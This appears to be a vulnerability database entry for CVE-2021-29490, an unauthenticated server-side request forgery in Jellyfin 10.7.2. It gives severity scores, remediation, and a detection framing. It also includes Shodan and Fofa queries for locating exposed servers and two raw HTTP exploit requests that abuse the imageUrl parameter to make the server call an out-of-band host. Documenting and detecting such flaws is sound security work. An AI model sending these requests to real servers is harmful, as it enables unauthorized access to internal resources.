🔙 목록으로 돌아가기

CVE-2021-29490: Jellyfin 10.7.2 - Server Side Request Forgery

TitleJellyfin 10.7.2 - Server Side Request Forgery
Authoralph4byt3
SeverityMedium
ImpactThis vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the target system.
RemediationUpgrade to version 10.7.3 or newer. As a workaround, disable external access to the API endpoints "/Items/*/RemoteImages/Download", "/Items/RemoteSearch/Image" and "/Images/Remote".
CVSS Score5.8
EPSS Score0.91997
CVE IDCVE-2021-29490
CWE IDCWE-918
Shodan Queryhttp.title:"Jellyfin"
Fofa Querybody="jellyfin"
Tags cve cve2021 ssrf jellyfin oast vuln

🔍 Vulnerability Description

Jellyfin is a free software media system. Versions 10.7.2 and below are vulnerable to unauthenticated Server-Side Request Forgery (SSRF) attacks via the imageUrl parameter.

🌐 HTTP Request

GET /Images/Remote?imageUrl=https://oast.me/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29490.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-29490.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A